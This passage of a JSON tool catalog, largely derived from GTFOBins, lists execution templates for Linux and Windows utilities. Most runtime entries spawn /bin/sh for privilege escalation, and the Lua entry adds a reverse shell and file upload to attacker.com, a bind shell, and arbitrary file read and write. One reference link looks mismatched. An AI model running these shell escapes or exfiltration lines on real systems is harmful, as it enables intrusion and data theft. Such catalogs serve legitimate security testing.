    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Lock file and execute command, can execute commands.",
    "examples": [
      {
        "description": "Execute command via setlock",
        "command": "setlock /path/to/lock /path/to/command"
      }
    ],
    "execution": {
      "template": "setlock /path/to/lock /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "process-lock-setlock",
    "install": [
      {
        "method": "apt",
        "package_name": "daemontools",
        "commands": [
          "apt-get install -y daemontools"
        ]
      }
    ],
    "name": "setlock",
    "namespace": "process:lock:setlock",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/setlock/"
      }
    ],
    "related_tools": [
      "flock"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "mstsc.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Remote Desktop Connection client.",
    "examples": [
      {
        "description": "Display help for mstsc",
        "command": "mstsc /?"
      }
    ],
    "execution": {
      "template": "mstsc /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-mstsc",
    "mitre_ids": [],
    "name": "mstsc",
    "namespace": "remote:rdp:client",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "mstsc Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "tscon.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Connects a Remote Desktop session to a different session.",
    "examples": [
      {
        "description": "Display help for tscon",
        "command": "tscon /?"
      }
    ],
    "execution": {
      "template": "tscon /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-tscon",
    "mitre_ids": [
      "T1563"
    ],
    "name": "tscon",
    "namespace": "remote:ts:connect",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tscon Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tscon"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "tsdiscon.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Disconnects a Remote Desktop Services session.",
    "examples": [
      {
        "description": "Display help for tsdiscon",
        "command": "tsdiscon /?"
      }
    ],
    "execution": {
      "template": "tsdiscon /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-tsdiscon",
    "mitre_ids": [],
    "name": "tsdiscon",
    "namespace": "remote:ts:disconnect",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tsdiscon Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsdiscon"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "qwinsta.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays Remote Desktop Services sessions on a server.",
    "examples": [
      {
        "description": "Display help for qwinsta",
        "command": "qwinsta /?"
      }
    ],
    "execution": {
      "template": "qwinsta /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-qwinsta",
    "mitre_ids": [],
    "name": "qwinsta",
    "namespace": "remote:ts:query",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "qwinsta Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qwinsta"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "rwinsta.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Resets a Remote Desktop Services session.",
    "examples": [
      {
        "description": "Display help for rwinsta",
        "command": "rwinsta /?"
      }
    ],
    "execution": {
      "template": "rwinsta /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-rwinsta",
    "mitre_ids": [],
    "name": "rwinsta",
    "namespace": "remote:ts:reset",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "rwinsta Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rwinsta"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "winrs.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Windows Remote Shell via WinRM.",
    "examples": [
      {
        "description": "Display help for winrs",
        "command": "winrs /?"
      }
    ],
    "execution": {
      "template": "winrs /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-winrs",
    "mitre_ids": [],
    "name": "winrs",
    "namespace": "remote:winrm:shell",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "winrs Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "jjs.md",
    "allowed-tools": [
      "jjs",
      "java",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Nashorn JavaScript engine for JVM, can execute JavaScript and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via jjs",
        "command": "jjs -e 'java.lang.Runtime.getRuntime().exec(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "jjs -e 'java.lang.Runtime.getRuntime().exec(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-jdk-jjs",
    "install": [
      {
        "method": "apt",
        "package_name": "jdk",
        "commands": [
          "apt-get install -y default-jdk"
        ]
      }
    ],
    "name": "jjs",
    "namespace": "runtime:jdk:jjs",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/jjs/"
      }
    ],
    "related_tools": [
      "java",
      "jrunscript",
      "jshell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "jrunscript.md",
    "allowed-tools": [
      "jrunscript",
      "java",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Java script runner, can execute JavaScript and spawn shells via JVM.",
    "examples": [
      {
        "description": "Spawn a shell via jrunscript",
        "command": "jrunscript -e 'java.lang.Runtime.getRuntime().exec(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "jrunscript -e 'java.lang.Runtime.getRuntime().exec(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-jdk-jrunscript",
    "install": [
      {
        "method": "apt",
        "package_name": "jdk",
        "commands": [
          "apt-get install -y default-jdk"
        ]
      }
    ],
    "name": "jrunscript",
    "namespace": "runtime:jdk:jrunscript",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/jrunscript/"
      }
    ],
    "related_tools": [
      "java",
      "jjs",
      "jshell"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "jshell.md",
    "allowed-tools": [
      "jshell",
      "java",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "JShell (Java REPL), can execute Java code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via jshell",
        "command": "jshell -R-e 'Runtime.getRuntime().exec(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "jshell -R-e 'Runtime.getRuntime().exec(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-jdk-jshell",
    "install": [
      {
        "method": "apt",
        "package_name": "jdk",
        "commands": [
          "apt-get install -y default-jdk"
        ]
      }
    ],
    "name": "jshell",
    "namespace": "runtime:jdk:jshell",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/jshell/"
      }
    ],
    "related_tools": [
      "java",
      "jjs",
      "jrunscript"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# java — Java Runtime\n\njava executes compiled Java class files. With sudo, it can spawn a shell by uploading and running a compiled class file that executes `/bin/sh`.\n",
    "_source": "java.md",
    "allowed-tools": [
      "java",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command",
      "runtime.java.execute"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to Java class file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Java runtime that can execute compiled Java class files to spawn shells.",
    "examples": [
      {
        "description": "Spawn interactive shell via compiled Java class",
        "command": "cat >Shell.java <<EOF\npublic class Shell {\n    public static void main(String[] args) throws Exception {\n        new ProcessBuilder(\"/bin/sh\").inheritIO().start().waitFor();\n    }\n}\nEOF\njavac Shell.java\njava Shell"
      }
    ],
    "execution": {
      "template": "java {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-java",
    "install": [
      {
        "method": "apt",
        "package_name": "default-jre",
        "commands": [
          "apt-get install -y default-jre"
        ]
      }
    ],
    "name": "java",
    "namespace": "runtime:jvm:java",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Java documentation",
        "url": "https://docs.oracle.com/en/java/"
      }
    ],
    "related_tools": [
      "javac",
      "jshell"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "class-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "node.md",
    "allowed-tools": [
      "node",
      "npm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "JS execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "JavaScript runtime, can execute JS code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via node",
        "command": "node -e 'require(\"child_process\").execSync(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "node -e \"require(\\\"child_process\\\").execSync(\\\"/bin/sh\\\")\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-node-node",
    "install": [
      {
        "method": "apt",
        "package_name": "nodejs",
        "commands": [
          "apt-get install -y nodejs"
        ]
      }
    ],
    "name": "node",
    "namespace": "runtime:node:node",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/node/"
      }
    ],
    "related_tools": [
      "npm",
      "npx",
      "yarn"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "perl.md",
    "allowed-tools": [
      "perl",
      "perlbug",
      "cpan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Perl code output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl interpreter, can execute arbitrary Perl code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via perl",
        "command": "perl -e 'exec \"/bin/sh\"'"
      }
    ],
    "execution": {
      "template": "perl -e 'exec \"/bin/sh\"'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-perl-perl",
    "install": [
      {
        "method": "apt",
        "package_name": "perl",
        "commands": [
          "apt-get install -y perl"
        ]
      }
    ],
    "name": "perl",
    "namespace": "runtime:perl:perl",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/perl/"
      }
    ],
    "related_tools": [
      "perlbug",
      "cpan"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "php.md",
    "allowed-tools": [
      "php",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "PHP code output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PHP interpreter, can execute PHP code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via php",
        "command": "php -r 'system(\"/bin/sh\");'"
      }
    ],
    "execution": {
      "template": "php -r \"system(\\\"/bin/sh\\\");\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-php-php",
    "install": [
      {
        "method": "apt",
        "package_name": "php-cli",
        "commands": [
          "apt-get install -y php-cli"
        ]
      }
    ],
    "name": "php",
    "namespace": "runtime:php:php",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/php/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "irb.md",
    "allowed-tools": [
      "irb",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Interactive Ruby shell, can execute arbitrary Ruby code.",
    "examples": [
      {
        "description": "Spawn a shell via irb",
        "command": "irb -e 'exec \"/bin/sh\"'"
      }
    ],
    "execution": {
      "template": "irb -e \"exec \\\"/bin/sh\\\"\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-irb",
    "install": [
      {
        "method": "apt",
        "package_name": "ruby",
        "commands": [
          "apt-get install -y ruby"
        ]
      }
    ],
    "name": "irb",
    "namespace": "runtime:ruby:irb",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/irb/"
      }
    ],
    "related_tools": [
      "ruby",
      "pry"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pry.md",
    "allowed-tools": [
      "pry",
      "irb",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Interactive Ruby shell with introspection, can execute Ruby code.",
    "examples": [
      {
        "description": "Spawn a shell via pry",
        "command": "pry -e 'exec \"/bin/sh\"'"
      }
    ],
    "execution": {
      "template": "pry -e \"exec \\\"/bin/sh\\\"\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-ruby-pry",
    "install": [
      {
        "method": "gem",
        "package_name": "pry",
        "commands": [
          "gem install pry"
        ]
      }
    ],
    "name": "pry",
    "namespace": "runtime:ruby:pry",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pry/"
      }
    ],
    "related_tools": [
      "irb",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ruby.md",
    "allowed-tools": [
      "ruby",
      "irb",
      "gem",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ruby interpreter, can execute Ruby code and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via ruby",
        "command": "ruby -e 'exec \"/bin/sh\"'"
      }
    ],
    "execution": {
      "template": "ruby -e \"exec \\\"/bin/sh\\\"\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "runtime-ruby-ruby",
    "install": [
      {
        "method": "apt",
        "package_name": "ruby",
        "commands": [
          "apt-get install -y ruby"
        ]
      }
    ],
    "name": "ruby",
    "namespace": "runtime:ruby:ruby",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ruby/"
      }
    ],
    "related_tools": [
      "irb",
      "pry",
      "gem"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# lua — Lua Interpreter\n\nLua is a powerful, lightweight programming language. With sudo or SUID, `lua -e` can execute arbitrary Lua code for shell access, file read/write, reverse shells, bind shells, and file transfers (some features require `lua-socket`).\n",
    "_source": "lua.md",
    "allowed-tools": [
      "lua",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.reverse-shell",
      "security.execution.bind-shell",
      "security.execution.command",
      "system.file.read",
      "system.file.write",
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.command.string",
          "description": "Lua -e code string"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command or shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "lua-socket"
    ],
    "description": "Lua programming language interpreter with extensive capabilities for shell, file, and network operations.",
    "examples": [
      {
        "description": "Spawn an interactive shell",
        "command": "lua -e 'os.execute(\"/bin/sh\")'"
      },
      {
        "description": "Read arbitrary file",
        "command": "lua -e 'local f=io.open(\"/path/to/input-file\", \"rb\"); io.write(f:read(\"*a\")); io.close(f);'"
      },
      {
        "description": "Write arbitrary data to file",
        "command": "lua -e 'local f=io.open(\"/path/to/output-file\", \"wb\"); f:write(\"DATA\"); io.close(f);'"
      },
      {
        "description": "Spawn reverse shell (requires lua-socket)",
        "command": "lua -e '\n  local s=require(\"socket\");\n  local t=assert(s.tcp());\n  t:connect(\"attacker.com\",12345);\n  while true do\n    local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n    local b=assert(f:read(\"*a\"));t:send(b);\n  end;\n  f:close();t:close();'"
      },
      {
        "description": "Spawn bind shell (requires lua-socket)",
        "command": "lua -e '\n  local k=require(\"socket\");\n  local s=assert(k.bind(\"*\",12345));\n  local c=s:accept();\n  while true do\n    local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n    local b=assert(f:read(\"*a\"));c:send(b);\n  end;c:close();f:close();'"
      },
      {
        "description": "Upload file (requires lua-socket)",
        "command": "lua -e '\n  local f=io.open(\"/path/to/input-file\", \"rb\")\n  local d=f:read(\"*a\")\n  io.close(f);\n  local s=require(\"socket\");\n  local t=assert(s.tcp());\n  t:connect(\"attacker.com\",12345);\n  t:send(d);\n  t:close();'"
      },
      {
        "description": "Download file (requires lua-socket)",
        "command": "lua -e '\n  local k=require(\"socket\");\n  local s=assert(k.bind(\"*\",12345));\n  local c=s:accept();\n  local d,x=c:receive(\"*a\");\n  c:close();\n  local f=io.open(\"/path/to/output-file\", \"wb\");\n  f:write(d);\n  io.close(f);'"
      }
    ],
    "execution": {
      "template": "lua {e}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "network-intensive"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "runtime-lua",
    "install": [
      {
        "method": "apt",
        "package_name": "lua5.4",
        "commands": [
          "apt-get install -y lua5.4"
        ]
      }
    ],
    "name": "lua",
    "namespace": "runtime:scripting:lua",
    "parameters": [
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Execute Lua code",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Lua documentation",
        "url": "https://www.lua.org/docs.html"
      }
    ],
    "related_tools": [
      "python",
      "perl",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "exfiltration",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "reverse-shell",
        "bind-shell",
        "file-content"
      ],
      "consumes": [
        "script-string"
      ]
    }
  },
  {
    "_body": "",
    "_source": "bloodhound-python.md",
    "capabilities": [
      "security.authentication",
      "security.auditing",
      "security.directory-services"
    ],
    "description": "BloodHound Python ingestor for Active Directory relationships.",
    "examples": [
      {
        "description": "Display help for bloodhound-python",
        "command": "bloodhound-python --help"
      }
    ],
    "execution": {
      "template": "bloodhound-python --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "bloodhound-python",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "pipx install bloodhound"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "bloodhound-python",
    "namespace": "security:ad:analyze",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "bloodhound-python Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bloodhound-python"
      }
    ],
    "version": "1.0.0"
  },
  {
